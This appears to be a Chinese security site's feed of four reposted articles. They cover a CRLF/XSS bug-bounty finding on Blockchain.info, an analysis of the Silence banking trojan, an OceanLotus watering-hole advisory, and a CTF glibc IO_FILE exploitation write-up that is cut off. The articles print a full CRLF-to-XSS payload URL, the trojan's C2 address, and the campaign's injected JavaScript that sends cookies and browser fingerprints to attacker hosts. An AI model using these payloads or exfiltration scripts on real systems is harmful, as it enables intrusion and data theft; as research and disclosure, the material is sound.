CRLF是Carriage-Return Line-Feed的缩写,意思就是“回车换行”,即回车(CR, ASCII值:13, \r) 换行(LF, ASCII值:10, \n)。这两个不可打印的ACSII字符不会在屏幕有任何输出,但在windows中广泛用来标识一行的结束。而在linux/UNIX系统中则只有换行符。


【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞
CR和LF是在计算机终端还是电传打印机的时候遗留下来的东西。电传打字机就像普通打字机一样工作。在每一行的末端,CR命令让打印头回到左边,而LF命令可以让纸前进一行。虽然使用卷纸的终端时代已经过去了,但是CR和LF命令依然存在,许多应用程序和网络协议仍使用这些命令作为分隔符。

攻击者在搜索安全漏洞的时候并不会忽略这种使用频率不高的CRLF。攻击者可以通过在一段数据中加入CRLF命令,从而改变应用程序在处理这个数据时的方式,并执行CRLF注入攻击。需要注意的是,CRLF注入攻击虽然并没有像其它类型的攻击那样出名。但是,当对有安全漏洞的应用程序实施CRLF注入攻击时,这种攻击方式对于攻击者同样有效,并且可以给用户带来不可估量的损失。

HTTP请求中的CRLF

接下来,让我们了解一下CRLF是如何应用在HTTP请求之中的。

当我们在网站中点击任意内容,或者纯粹只是打开一个网站的时候,浏览器便会向目标网站的后台服务器发送请求,服务器在处理完用户请求之后,会给用户的浏览器发送响应信息,此时用户所请求的内容将会显示在浏览器之中,这就是最常见的请求-响应过程。

比如说,当我们在自己的浏览器中请求访问blog.shashank.co时,浏览器会发送如下所示的HTTP请求:

http://blog.shashank.co/ GET/HTTP/1.1 Host:blog.shashank.co User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.12;rv:55.0)Gecko/20100101Firefox/55.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Accept-Encoding:gzip,deflate Connection:keep-alive Upgrade-Insecure-Requests:1

在处理完请求之后,服务器会返回如下所示的响应信息:

HTTP/1.1200OK Content-Type:text/html;charset=UTF-8 Expires:Tue,31Oct201714:28:13GMT Date:Tue,31Oct201714:28:13GMT Cache-Control:private,max-age=0 Last-Modified:Tue,31Oct201714:26:43GMT ETag:W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17" Content-Encoding:gzip X-Content-Type-Options:nosniff X-XSS-Protection:1;mode=block Content-Length:13871 Server:GSE <HEREISTHEWEBSITEBODY>

如果你不知道怎么查看浏览器所发送的HTTP请求以及响应信息的话,你可以下载火狐浏览器的“LiveHTTPHeader”插件,或者直接在网页中点击鼠标右键,选择“审查元素”,然后进入“网络”标签页来查看你在浏览任意网站时浏览器所发送的所有请求。


【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

大家可以从上图中看到,在一个HTTP头中,每一行数据都是由CRLF分隔开的(不会在屏幕上打印输出的ASCII字符)。换句话说,上面这些数据的原始形式应该是这样的:

GET/HTTP/1.1[CRLF] Host:blog.shashank.co[CRLF] User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.12;rv:55.0)Gecko/20100101Firefox/55.0[CRLF] Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8[CRLF] Accept-Language:en-US,en;q=0.5[CRLF] Accept-Encoding:gzip,deflate[CRLF] Connection:keep-alive[CRLF] Upgrade-Insecure-Requests:1[CRLF] HTTP/1.1200OK[CRLF] Content-Type:text/html;charset=UTF-8[CRLF] Expires:Tue,31Oct201714:28:13GMT[CRLF] Date:Tue,31Oct201714:28:13GMT[CRLF] Cache-Control:private,max-age=0[CRLF] Last-Modified:Tue,31Oct201714:26:43GMT[CRLF] ETag:W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17" Content-Encoding:gzip[CRLF] X-Content-Type-Options:nosniff[CRLF] X-XSS-Protection:1;mode=block[CRLF] Content-Length:13871[CRLF] Server:GSE[CRLF][CRLF] <HEREISTHEBODY>

漏洞描述

当我在浏览blockchain.info网站的过程中,我发现一个网站节点,而这个节点允许我下载JSON或CSV格式的图表数据:

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en

请大家注意其中的最后一个参数"lang=en",我将它改成了"lang=english"。接下来,我发现浏览器所接收到的响应头信息发生了一点变化:

GET/charts/total-bitcoins?cors=true&format=csv&lang=englishHTTP/1.1 Host:api.blockchain.info User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.12;rv:55.0)Gecko/20100101Firefox/55.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Accept-Encoding:gzip,deflate,br Connection:keep-alive Upgrade-Insecure-Requests:1 HTTP/2.0200OK date:Tue,31Oct201715:47:21GMT content-type:text/csv;charset=ascii content-length:10953 access-control-allow-origin:* cache-control:public,max-age=60 content-disposition:attachment;filename="total-bitcoins.csv" content-language:english <removed> 需要注意的是,“lang”参数将会反应在“content-language”头中。那么接下来,我们就要检测“CRLF”注入漏洞了,即我们是否能够添加一个[CRLF]并创建我们自己的响应头。 为了注入一个[CRLF],我们需要对其进行URL编码,其中“\r\n”的URL编码为“%0D%0A”。

现在我们发送重新构造出来的请求:

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST

我们将会在响应信息中发现一个新的响应头-TEST。

这也就意味着,我们成功地找到了一个CRLF注入漏洞!!由于请求信息中同样包含响应信息的主体内容(body),因此我们甚至还可以执行javascript代码(跨站脚本攻击)来窃取Cookie或构建一个钓鱼页面。

最终的攻击Payload如下所示:

https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI 跨站脚本攻击:

【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

构造钓鱼页面:


【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞

如何防止这种攻击的发生?

养成良好的编码习惯可以有效地避免包括CRLF攻击在内的注入攻击技术。为了防止你的应用程序受到CRLF注入攻击,你需要保持与防御SQL注入攻击等其它类型的注入攻击一样的警惕性:即永远不要相信用户输入的内容!在你控制范围以外的任何来源的输入内容都必须要进行安全检查和数据过滤。在你的应用程序对数据执行操作之前,任何不符合预期的数据类型以及字符都要进行过滤。比如说,如果你的应用程序需要的是一个电子邮件地址,那么这个数据中所有的字符都应该是字母、数字、“@”和“.”。如果你的应用程序需要的是一个文件名,那么这个数据中只能包含文件名中允许使用的合法字符。如果开发人员能够在上述这两种场景下简单地过滤掉CR和LF字符,那么这种攻击也就无法奏效了。

虽然,用户所输入的“恶意字符”是导致漏洞出现的其中一种原因。但是,请你不要忘记检查第三方程序的输入内容。在许多情况下,攻击者可以把一个注入漏洞从一个包含漏洞的应用程序转移到一个正常的安全程序之中。开发人员不会检查安全程序中的数据,因为那里的数据不是直接来自于用户的。因此,无论数据来源于哪里,只要这些数据需要在你的应用程序中进行处理,你就必须要对这些数据进行审查和过滤。

总结

我发现了这个漏洞之后,便立刻将漏洞信息上报给了Blockchain.info的漏洞奖励计划,Blockchain.info的技术人员在确认了漏洞信息之后也立刻跟我取得了联系,并给我提供了1600美元的漏洞奖金,感谢Blockchain.info。



【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞
【技术分享】看我如何在比特币钱包Blockchain.info中找到了一个CRLF注入漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.shashank.co/2017/11/crlf-injection-in-bockchaininfo.html

【木马分析】Silence:攻击金融机构的一款新型木马

$
0
0
【木马分析】Silence:攻击金融机构的一款新型木马

2017-11-08 14:45:57

阅读:1607次
点赞(0)
收藏
来源: securelist.com





【木马分析】Silence:攻击金融机构的一款新型木马

作者:興趣使然的小胃





【木马分析】Silence:攻击金融机构的一款新型木马

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

2017年9月,我们发现了针对金融机构的新型攻击活动,受害者大多为俄罗斯银行,但我们发现马拉西亚及亚美尼亚的某些机构同样被攻击者攻陷。攻击者使用了一种已知的但仍行之有效的技术来牟取金钱:他们先是获得银行内部网络的长期访问权限,录制银行员工个人电脑的日常活动轨迹,学习目标银行的工作流程、所使用的软件,一切准备就绪后,就利用这些知识窃取尽可能多的金钱。

之前我们在Carbanak以及其他类似事件中也看过这种技术手法。攻击者凭借带有恶意附件的渔叉式钓鱼邮件成功感染目标。在Silence攻击事件中,有趣的是攻击者事先已经攻陷一些银行机构的基础设施,利用真实银行雇员的地址发送渔叉式钓鱼邮件,最大可能降低受害者对这些邮件的怀疑程度。

目前这类攻击活动仍在持续进行中。


二、技术细节

攻击第一步,犯罪分子通过Silence木马发送钓鱼邮件,他们通常会利用已感染的金融机构员工的真实地址,邮件主题是请求在目标银行中开设账户。这种主题看上去非常正常,利用这种社会工程学技巧,收件方很难怀疑邮件的真实目的:


【木马分析】Silence:攻击金融机构的一款新型木马

图1. 使用俄语编写的钓鱼邮件

2.1 恶意.chm附件

样本信息如下:

md5:dde658eb388512ee9f4f31f0f027a7df

类型:windows帮助文件(.chm文件)

在这波攻击浪潮中,我们检测到了一个CHM(Microsoft Compiled HTML Help)文件样本。这种文件是微软专有的在线帮助文件,由许多HTML页面、索引以及其他导航工具组成。这些文件经过压缩后存为二进制格式,使用.CHM(compiled HTML)作为文件扩展名。这些文件具备很高的互动性,支持包括javascript在内的一些技术,利用这些技术,受害者在打开CHM文件后就会被重定向到外部URL地址。因此,攻击者会利用CHM文件实现恶意载荷的自动运行。当受害者打开附件后,内嵌的.htm文件(“start.htm”)就会执行。样本文件中包含JavaScript载荷,其目标是从一个硬编码的URL地址处下载并执行其他阶段的载荷。

图2. 内置的start.htm文件的部分内容


【木马分析】Silence:攻击金融机构的一款新型木马

这个脚本的功能是下载并执行一个经过混淆的.VBS脚本,后者会继续下载并执行最终的释放器(dropper)。

图3. 经过混淆的VBS脚本,具备二进制程序下载功能


【木马分析】Silence:攻击金融机构的一款新型木马

2.2 释放器

释放器样本信息如下:

md5:404D69C8B74D375522B9AFE90072A1F4

编译时间:2017年10月12日 02:53:12

文件类型:Win32可执行文件

释放器是一个win32可执行文件,其主要功能是与命令控制(C&C)服务器通信,将被感染主机的ID发送给服务器,同时下载并执行恶意载荷。

释放器运行后会通过GET请求连接C&C,发送已生成的受害者ID,下载恶意载荷,然后使用CreateProcess函数执行恶意载荷。

图4. 使用受害者ID连接C&C服务器


【木马分析】Silence:攻击金融机构的一款新型木马

图5. C&C连接过程


【木马分析】Silence:攻击金融机构的一款新型木马

2.3 载荷

攻击者所使用的载荷包含各种模块,这些模块可以在已感染的主机上执行各种任务,比如屏幕录制、数据上传等等。

我们识别出的所有载荷都以Windows服务形式运行。

2.3.1 监控及控制模块

模块信息:

md5:242b471bae5ef9b4de8019781e553b85

编译时间:2016年7月19日 15:35:17

模块类型:Windows服务可执行文件

该模块的主要任务是监控受害者的活动轨迹。为了完成这一任务,该模块会多次截取受害者的当前屏幕视图,这种伪视频流方式可以让攻击者监控所有受害者的活动轨迹。类似的技术也出现在Carbanak案例中,当时攻击者使用这种监控技术来了解受害者的日常活动。

该模块会注册为Windows服务,以服务方式运行,服务名为“Default monitor”。

图6. 恶意服务模块名


【木马分析】Silence:攻击金融机构的一款新型木马

初始启动完成后,该模块会创建一个Windows命名管道,管道名(\\.\pipe\{73F7975A-A4A2-4AB6-9121-AECAE68AABBB})已事先硬编码在模块中。不同恶意模块会使用该管道实现进程间通信。

图7. 创建命名管道


【木马分析】Silence:攻击金融机构的一款新型木马

恶意软件解密一段数据块,并将解密后的数据保存为二进制文件,文件名为硬编码的“mss.exe”字符串,保存路径为Windows临时目录,随后,恶意软件使用CreateProcessAsUserA函数运行该文件。释放出来的这个二进制文件是负责实时捕捉屏幕活动的恶意模块。

随后,该监控模块会等待新释放的模块运行,以便使用命名管道与其他模块共享收集到的数据。

2.3.2 屏幕活动收集模块

模块信息:

md5:242b471bae5ef9b4de8019781e553b85

编译时间:2016年7月19日 15:35:17

模块类型:Windows 32位可执行文件

这个模块同时用到了Windows图形设备接口(Graphics Device Interface,GDI)以及Windows API来记录受害者的屏幕活动轨迹,具体使用的是CreateCompatibleBitmap以及GdipCreateBitmapFromHBITMAP函数。随后,该模块连接到上一个模块创建的命名管道并将数据写入管道中。利用该技术,攻击者可以将收集到的所有位图结合起来,形成受害者活动轨迹的伪视频流。

图8. 将位图数据写入管道中


【木马分析】Silence:攻击金融机构的一款新型木马

2.3.3 C&C通信模块

模块信息:

md5:6A246FA30BC8CD092DE3806AE3D7FC49

编译时间:2017年6月8日 03:28:44

模块类型:Windows服务可执行文件

与其他所有模块一样,C&C通信模块同样以Windows服务形态来运行。该模块的主要功能是建立回连受害主机的访问通道,利用控制台命令执行服务器指令。服务初始化完毕后,恶意模块会解密运行所需的Windows API函数名,使用LoadLibrary加载这些函数,然后使用GetProcAddress函数解析这些API的具体地址。

图9. 解析WinAPI函数


【木马分析】Silence:攻击金融机构的一款新型木马
成功加载WinAPI函数后,恶意软件会尝试连接C&C服务器,服务器地址为硬编码的IP地址(185.161.209[.]81)。

图10. C&C IP地址


【木马分析】Silence:攻击金融机构的一款新型木马

恶意软件会往命令服务器发送带有ID信息的一个特殊请求,然后等待服务器响应,响应中包含一个字符串,恶意软件会根据该字符串执行具体的操作,这些操作包括:

“htrjyytrn”,音译过来为“reconnect”(俄语中对应“реконнект”)。

“htcnfhn”,音译过来为“restart”(俄语中对应“рестарт”)。

“ytnpflfybq”,音译过来为“нет заданий”,即“no tasks”(无任务)。

最后,恶意软件会收到指令,执行控制台命令。恶意软件以具体命令为参数创建一个新的cmd.exe进程来完成命令执行任务。

图11. 检查指令


【木马分析】Silence:攻击金融机构的一款新型木马

通过这种方式,攻击者只需要使用“sc create”控制台命令,就可以任意安装其他恶意模块。

2.3.4 Winexecsvc工具

工具信息:

md5:0B67E662D2FD348B5360ECAC6943D69C

编译时间:5月18日 03:58:26

类型:Windows 64位可执行文件

此外,在被感染的某些计算机上,我们还发现一款名为Winexesvc tool的工具。这款工具提供的功能与著名的“psexec”工具类似,最主要的区别在于,基于linux的操作系统可以通过Winexesvc工具执行远程命令。当Linux程序“winexe”以某个Windows服务器为目标运行时,目标服务器上就会生成winexesvc.exe程序,并且该程序会以系统服务形态运行。


三、总结

攻击金融机构仍是网络犯罪分子大发横财的一种非常有效的途径。分析这次攻击事件,我们看到了一款新的木马,并且这款木马明显已在多个国家地区中使用过,这表明这个攻击组织的行动范围正在不断扩大。这款木马提供的监控功能与Carbanak组织具备的功能类似。

该组织在后续攻击阶段中会使用合法的管理工具在目标环境中大肆横行,这也使恶意行为的检测及溯源变得更为复杂。最近几年来,这类攻击规模不断增大,这种趋势反应了犯罪分子的攻击卓有成效,令人担忧。我们会继续监视这个新兴组织的犯罪活动。

目前渔叉式钓鱼攻击方法仍是实施针对性攻击的最常见方法。在已被攻陷的基础设施的基础上,结合使用.chm附件,钓鱼攻击的传播效果会更加有效,至少此次金融机构被攻击就是典型的案例。


四、建议

我们可以使用预防型高级检测功能来有效保护用户免受针对金融机构的恶意攻击,这种功能可以从更深层次检测用户系统上各种类型的可疑文件。卡巴斯基反针对性攻击解决方案(KATA)可以匹配来自不同级别基础设施的事件,识别并关联其中的异常事件,最终汇聚形成综合安全事件,与此同时也会利用沙箱化技术在安全环境中研究相关部件。与大多数卡巴斯基产品一样,KATA由人工智能(HuMachine Intelligence)提供技术支持,这项技术离不开机器学习、专业知识的实时分析以及我们对威胁情报大数据的深入理解。

想要阻止攻击者发现和利用安全漏洞,最佳方法是彻底消除漏洞,其中也包括因为不当系统配置或者专用应用程序错误导致的安全漏洞。为了实现这个目的,我们可以使用卡巴斯基渗透测试及应用安全评估服务这个方便且高效的解决方案,该方案不仅能够提供已发现漏洞的相关数据,也能给出如何解决这些漏洞的具体方法,进一步加强企业自身安全。


五、IOC

卡巴斯基实验室产品将Silence木马标记为如下类别:

Backdoor.Win32.Agent.dpke

Backdoor.Win32.Agent.dpiz

Trojan.Win32.Agentb.bwnk

Trojan.Win32.Agentb.bwni

Trojan-Downloader.JS.Agent.ocr

HEUR:Trojan.Win32.Generic

完整的IOC以及YARA规则会通过私人报告订阅服务提供。

样本MD5值如下:

Dde658eb388512ee9f4f31f0f027a7df

404d69c8b74d375522b9afe90072a1f4

15e1f3ce379c620df129b572e76e273f

D2c7589d9f9ec7a01c10e79362dd400c

1b17531e00cfc7851d9d1400b9db7323

242b471bae5ef9b4de8019781e553b85

324D52A4175722A7850D8D44B559F98D

6a246fa30bc8cd092de3806ae3d7fc49

B43f65492f2f374c86998bd8ed39bfdd

cfffc5a0e5bdc87ab11b75ec8a6715a4



【木马分析】Silence:攻击金融机构的一款新型木马
【木马分析】Silence:攻击金融机构的一款新型木马
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securelist.com/the-silence/83009/

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

$
0
0
【APT报告】海莲花(OceanLotus)APT团伙新活动通告

2017-11-08 20:27:21

阅读:926次
点赞(0)
收藏
来源: 安全客





【APT报告】海莲花(OceanLotus)APT团伙新活动通告

作者:360CERT





【APT报告】海莲花(OceanLotus)APT团伙新活动通告

作者:360威胁情报中心 && 360CERT


文档信息


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

通告背景

2017 年 11 月 6 日,国外安全公司发布了一篇据称海莲花 APT 团伙新活动的报告,360 威胁情报中心对其进行了分析和影响面评估,提供处置建议。


事件概要


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

事件描述

2017 年 11 月 6 日,国外安全公司 Volexity 发布了一篇关于疑似海莲花 APT 团伙新活动的 报告,该报告指出攻击团伙攻击了与政府、军事、人权、民主、媒体和国家石油勘探等有关 的个人和组织的 100 多个网站。通过针对性的 javascript 脚本进行信息收集,修改网页视 图,配合社会工程学诱导受害人点击安装恶意软件或者登陆钓鱼页面,以进行下一步的攻击渗透。


事件时间线

2017 年 11 月 6 日 Volexity 公司发布了据称海莲花新活动的报告。

2017 年 11 月 7 日 360 威胁情报中心发现确认部分攻击并作出响应。


影响面和危害分析

攻击者团伙入侵目标用户可能访问的网站,不仅破坏网站的安全性,还会收集所访问用户的 系统信息。如果确认感兴趣的目标,则会执行进一步的钓鱼攻击获取敏感账号信息或尝试植 入恶意程序进行秘密控制。

目前 360 威胁情报中心确认部分网站受到了影响,用户特别是政府及大企业有必要结合附 件提供的 IOC 信息对自身系统进行检查处理。


处置建议

1. 网站管理员检查自己网站页面是否被植入了恶意链接,如发现,清理被控制的网站中嵌 入的恶意代码,并排查内部网络的用户是否被植入了恶意程序。

2. 电脑安装防病毒安全软件,确认规则升级到最新。


技术分析

通过水坑攻击将恶意 JavaScript 代码植入到合法网站,收集用户浏览器指纹信息,修改网 页视图诱骗用户登陆钓鱼页面、安装下载恶意软件。

探针一

从样本 JavaScript 出发

http://45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=86462

jquery 的最下面有个 eval


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

核心获取传输数据部分如下:

varbrowser_hash='b0da8bd67938a5cf22e0-37cea33014-iGJHVcEXbp'; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','action':'replace','name':'WebRTC','value':array2json(window.listIP).replace(/"/g,'\"'),'log':'ReceicedWebRTCdatafromclient{client}.'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'BrowserPlugins','action':'replace','value':array2json(plugins).replace(/"/g,'\"'),'log':'ReceicedBrowserPluginsdatafromclient{client}.'}; varinfo={'Screen':screen.width+'x'+screen.height,'windowsize':window.outerWidth+'x'+window.outerHeight,'Language':navigator.language,'Cookie Enabled':(navigator.cookieEnabled)?'Yes':'No','JavaEnabled':(navigator.javaEnabled())?'Yes':'No'}; vardata={'browserhash':browserhash,'type':'ExtendedBrowserInfo','name':'ExtendedBrowserInfo','action':'replace','value':array2json(info).replace(/"/g,'\"'),'log':'ReceicedExtendedBrowserInfodatafromclient{client}.'};

探针二

获取数据部分

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

核心传输数据部分


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

传输内容

'{"history":{"client_title":"", "client_url":"https://www.google.co.kr/_/chrome/newtab?espv=2&ie=UTF-8", "client_cookie":"SID=TQUtor57TAERNu6GqnR4pjxikT_fUFRYJg0WDuQR6DLPYP79ng8b20xLV45BALRr9EP0ig.; APISID=czIiWPC84XzsPhi7/AEXqM7jJZBOCVK4NB; SAPISID=EukztCzcUbvlcTe3/A0h8Z8oQR86VGPTf_; UULE=a+cm9sZToxIHByb2R1Y2VyOjEyIHByb3ZlbmFuY2U6NiB0aW1lc3RhbXA6MTUxMDA1Mzg3NDY1OTAwMCBsYXRsbmd7bGF0aXR1ZGVfZTc6Mzk5ODE5MzY5IGxvbmdpdHVkZV9lNzoxMTY0ODQ5ODQ5fSByYWRpdXM6MzM0ODA=; 1P_JAR=2017-11-8-2", "client_hash":"", "client_referrer":"", "client_platform_ua":"Mozilla/5.0(Macintosh;IntelMacOSX10_12_6)AppleWebKit/537.36(KHTML,likeGecko)Chrome/61.0.3163.100Safari/537.36", "client_time":"2017-11-08T03:40:25.641Z", "client_network_ip_list":["10.17.52.196"], "timezone":"Asia/Shanghai"}}'

执行步骤

首先根据基础信息,引用到指定版本的恶意 jQuery js 文件进一步收集信息后获取新的 JavaScript payload。此 payload 是大量的基础的函数以及更详尽的设备信息收集,同时还 通过 WebRTC 获得真实 IP 地址。发送信息到通信地址加载新的 JavaScript payload,此 payload 进一步信息收集或者产生后续攻击变换。


数据传输地址

探针一

接受数据 //45.32.105.45/icon.jpg?v=86462&d={data}

根据参数下发

payload //45.32.105.45/ajax/libs/jquery/2.1.3/jquery.min.js?&v=86462&h1={data}&h2={da ta}&r={data}

探针二

往以下地址 POST 数据,并接受新的 js 并运行//ad.jqueryclick.com/117efea9-be70-54f2-9336-893c5a0defa1


信息收集列表

浏览器中执行的恶意代码会收集如下这些信息:

浏览器类型

浏览器版本

浏览器分辨率,DPI

cpu 类型

cpu 核心数

设备分辨率

buildID

系统语言 TLP:WHITE http://ti.360.net

jsHeapSizeLimit

screen.colorDepth

是否开启 cookie

是否开启 java

已经加载的插件列表

referrer

当前网络的 IP 地址

Cookie

更多技术细节可以参看参考资料的网页。


关联分析及溯源

360威胁情报中心尝试通过分发JavaScript的恶意域名的WHOIS信息来对本次事件做一些 关联分析,一共 38 个域名,基本上都使用了隐私保护,注册时间则分布于 2014 年 3 月-2017 年 10 月,可见攻击团伙的活动时间之长准备之充分。如下是其中一个域名的注册信息:


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

参考资料

https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance -and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/


更新历史


【APT报告】海莲花(OceanLotus)APT团伙新活动通告

附件

IOC列表



【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告

【APT报告】海莲花(OceanLotus)APT团伙新活动通告


【APT报告】海莲花(OceanLotus)APT团伙新活动通告
【APT报告】海莲花(OceanLotus)APT团伙新活动通告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4680.html

【技术分享】CTF中带来的IO_FILE新思路

$
0
0
【技术分享】CTF中带来的IO_FILE新思路

2017-11-09 09:54:56

阅读:1226次
点赞(0)
收藏
来源: 安全客





【技术分享】CTF中带来的IO_FILE新思路

作者:FlappyPig





【技术分享】CTF中带来的IO_FILE新思路

作者:FlappyPig

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

之前一直打算写一份有关IO_FILE的文章,但是由于自己太忙,所以一直都没有写。最初接触到IO_FILE是在pwnable.tw网站上做题时,碰到的题目能够通过对stdin进行伪造的话,能够把伪造虚表的地址以及虚表中的函数。从而造成任意代码执行。

之后再次遇见IO_FILE的时候是在2016的hitcon上面的house of orange,这个题目将IO_FILE和堆中的unsorted bin attack结合了起来。通过unsorted bin attack修改了IO_list_all,在flush io的时候造成了任意代码的执行。这样的攻击方法都是通过伪造IO_FILE的结构体,修改虚表的位置来利用的。

但是之后,由于ubuntu17.04的发布,libc-2.24.so中增加了对vtable的check,所以之前通过修改虚表来进行漏洞利用的方法现在已经用不了了。


新的思路

之后在参加WCTF 2016的时候,hitcon给出了challenge wannaheap。这个题目当时所有参赛的队伍没有一个做出来。之后在赛后分享的时候,根据它们的讲述,才发现这个题目为什么当时没有人解出来......它将IO_FILE的利用带上了一个新的层面。我们下面对这个题目详细分析一下来进一步加深对IO_FILE利用的理解,本文中对wannaheap的解题思路完全是根据当时hitcon在WCTF上分享的来的。


Wannaheap

题目的结构体只有两个,chunk和node

struct__attribute__((packed))__attribute__((aligned(4)))node { _QWORDleft; _QWORDright; __int64key; __int64data; _DWORDrandom; }; struct__attribute__((aligned(8)))chunk { _QWORDreal_addr; _QWORDaddr; };

首先它实现了一个前后都有随机数据和随机大小的堆分配结构,这样的话,堆的分配就变得难以预测。


【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
分配的大小是rand1 + size + rand2,其中size是想要分配的大小。

所以这中间的这个堆块的位置是很难找到的,calloc设置的size大小也是很难控制的。


【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
【技术分享】CTF中带来的IO_FILE新思路

分配的chunk就像上面这样,后面会把这里的地址存到一个global的数组里面去。

chunk的存储方式像是一个存在key值的红黑树,左子树的key值小于根节点,右子树的key值大于根节点。


【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
另外还增加了一个random的操作来对树进行rotate,但是这里有点没有弄懂,这样的操作貌似会破坏树的结构...不过这个存储对后面做exploit不是很重要,可以先放在一边。

vuln

这个题目存在两个漏洞,第一个漏洞在set_data_area这个函数里面,是一个libc任意地址写一个\x00的字节,malloc的时候如果size比较大的时候会调用mmap,当malloc的size在0x30000之上的时候就会mmap在libc和bin之间


【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
所以之后的g_buf_ptr[len_1] = 0会在libc的任意地址写上\x00
【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
另外一个漏洞是在Allocate函数里面,在设置data的时候read了0x18个字节到栈上面,但是栈上面并没有被清干净,所以strdup之后data会被存到Nosql里面去。之后在Read函数里面就可以泄漏这个地址了。
【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路

利用

因为只能够往libc里面写一个\x00,这就很难去利用了...

但是在ubuntu 17.04里面这个利用是可能的,也只能够在ubuntu 17.04里面进行利用,只有在libc.so.2.14版本中才可以。

首先必须要认识的是stdin这个结构体。


【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
这个结构体里面比较关键的就是IO_read_ptr, IO_read_end, IO_read_base, IO_write_base ...这些指针。他们是用来作为输入和输出的缓冲区的。从阅读源码中可以知道。

所以这里我们可以往IO_buf_base的最后一个字节写上\x00,这样IO_buf_base就正好指向_IO_buf_end的开头了,但是由于libc-2.24.so中的vtable check,我们无法伪造整个的vtable。

所以之后我们就往下覆盖直到main_arena,其中会经过malloc_hook,可以把malloc_hook覆盖成任意数值,但是这里用了seccomp,所以我们没有办法把它覆盖成onegadget的地址。

往下是main_arena的位置,我们可以覆盖到unsortedbin[1]的地址,覆盖成伪堆块的地址,然后在伪堆块的bk上面写上_dl_open_hook - 0x10的地址来做unsorted bin attack。这样的话unsortedbin attack 之后dl_open_hook的位置就会被写上main_arena + 88的地址,让dl_open_hook指向了main_arena+88。
【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路
dl_open_hook是一个结构体,这个结构体里面是三个函数的指针,当dl_open_hook不是空的时候会对vtable进行check,然后能够跳到dl_open_hook的dlopen_mode上面,具体什么原因我也不太清楚。
【技术分享】CTF中带来的IO_FILE新思路

所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢?

通过 mov rdi, rax; call [rax + 0x20];这个gadget就能够控制rdi和rip。 然后通过setcontext+52
【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路

能够控制rsp跳到我们的libc area里面,这样的话就能够继续执行rop了。

这个题目的巧妙之处就在于它利用了libc-2.24.so中_IO_buf_end的偏移最后一个字节是\x00。所以这个\x00的写入才能够控制整个IO_FILE结构体。


另一种思路

在此之后,我在WHCTF 2017的线上赛中出了一道名叫stackoverflow的题目。不过很显然这个题目不会是一个简单的stackoverflow。

这个题目的思路与预期解法都是和wannaheap一样的,通过一个\x00字节的任意写,控制整个IO_FILE,然后得到任意代码执行的能了。

但是在比赛之后我审查他们提交的writeup的时候发现AAA的大佬们提供了另外一种不同的思路,同样是由于libc-2.24.so的vtable check的限制,他们给出了另外一种不同的绕过思路。


_IO_vtable_check到底做了什么

https://code.woboq.org/userspace/glibc/libio/vtables.c.html#39

主要检查了三种情况,如果这三种情况都不满足的话,那么就说明vtable已经被改变过了。所以之后就会跳到

__libc_fatal("Fatalerror:glibcdetectedaninvalidstdiohandle\n");

how to bypass the _IO_vtable_check

